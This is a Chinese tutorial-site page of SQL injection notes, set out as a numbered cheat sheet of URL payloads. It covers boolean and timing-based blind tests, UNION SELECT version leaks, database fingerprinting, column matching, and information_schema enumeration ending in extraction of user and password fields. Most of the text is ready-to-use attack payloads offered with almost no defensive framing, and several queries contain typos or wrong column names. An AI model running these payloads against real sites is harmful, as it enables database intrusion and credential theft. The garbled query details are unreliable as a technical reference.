玖叶教程网

前端编程开发入门

SQL注入笔记


1.and 1 = 1

and 1 = 2 如果报错则mysql参数未过滤

2. 加上'

如果报错则参数未过滤

3.SELECT BENCHMARK (100000,ENCODE('HELLO','xxx'))

如果查询时间明显长于正常>1.0s

则存在漏洞 适合盲注

4.http://www.example.com/xxx.php?id=1 union select 1,version(),3,4#

5.http://www.example.com/xxx.php?id=@@version

数据库在接收数据时会试图将@@version 的值转换为整数,

这时会产生一个错误

该错误会将版本信息完全显示出来

当然也有其他的报错方法

6.盲跟踪

a.如果位返回有用的信息,可以利用不同产品之间连接字符串的差异来辨别

类如 SELECT 'somestring'

MSSQL: SELECT 'some'+'string'

MYSQL: SELECT 'some'+'string'

SELECT CONCAT('some'+'string')

b.以下表达式在对应的数据库中经过计算可以成为一个整数,但在其他数据库中会爆出一个错误

MSSQL:@@pack_recieved

@@rowcount

MYSQL:connection_id()

last_insert_id()

row_count()

c.使用一些特定的SQL结构

结尾加#,注释行

结尾加-- (--空格),注释行

/**/

第三种方法,若在注释开头部分添加一个 感叹号 并在后面跟上数据库的版本编号,那么注释江北解析成代码。只要安装的数据库版本高于会等于朱世航中包含的版本,代码就会被执行。

类如:

SELECT 1/*!40119+1*/

该代码将返回:1)2(如果数据库版本为4.01.19或更高版本)

2)1(other)

7.利用系统表

多用于Access 和MSSQL

Access的系统表为mysysobjects,且在web环境下没有访问权限;

Mssql的系统表为sysobjects ,在web环境下有访问权限

类如:

http://www.example.com/xx.php?id=xx and (select count(*) from sysobjects)>0

http://www.examole.com/xx.php?id=xx and(select count(*) from mysysobjects)>0

如两天军错误,说明是access 若1可以,2错则为MSSQL

8.匹配列

http://www.xxx.cn/xxx.php?id=4 union selsct null--

http://www.xxx.cn/xx.php?id=4 union select null,null--

http://www.xxx.cn/xx.php?id=4 union select null,null,null--

......

直到后一个SELECT语句中列的数量同前一个相等

ORDER BY 语句

http://www.xxx.cn/xxx.php?id=4 order by 4

9.匹配数据类型

MSSQL:SELECT CAST('123' AS VARCHAR)

MYSQL:SELECT CAST('123' AS CHAR)

10.数据提取

a.http://www.xxx.cn/xxx.php?id=4 union select id,user,pass from table where id>0--

每次返回一行。逐渐增大id后的参数值,便可以提取所有信息

当然不可以使用软件

b.有时,数据库可能返回原始数据,从而占用一行返回数据。这时候需要使原始数据查询发生错误,使查询结果无法返回

http://www.xxx.cn/xx.php?id=4 and 1=2 union select id,user,pass from table where id>0--

11.MYSQL数据库

存在infrmation_schema数据库

schemata 存放所以数据库名 schema_name

tables 存放特定数据库中的表名 table_schema table_name

columns 存放特定库特定表中的字段 table_schema table_name column_name

eg:http://www.xxx.cn/xx.php?id=-1 union select 1,schema_name,3,4 from information_schema.schemate limit 0,1

limit 0,1 表示取出从第一条开始的第一条记录。改变0的值,则可以读取每一条数据库的名称,直到出现你认为游泳的那一条为止,开始构造下一条语句:

http://www.xxx.cn/xx.php?id=-1 union select 1,schema_name,3,4 from information_schema.tables where table_schema=(之前库名的十六进制) limit 0,1

继续:

http://www.xxx.cn/xx.php?id=-1 union select 1,schema_name,3,4 from information_schema.tables where table_schema=(之前库名的十六进制) and table_name(表名十六进制)limit 0,1

继续

选定存有你需要保存的信息字段之后,输入语句:

http://www.xxx.cn/xx.php?id=-1 union selecet 1,string 1,string 2,4 frome (选定表名)

另外也可以使用函数group_concat()来一次输出多个结果

http://www.xxx.cn/xx.php?id=-1 union select 1,group_concat(schema_name),3,4 from information_schema.schemate

发表评论:

控制面板
您好,欢迎到访网站!
  查看权限
网站分类
最新留言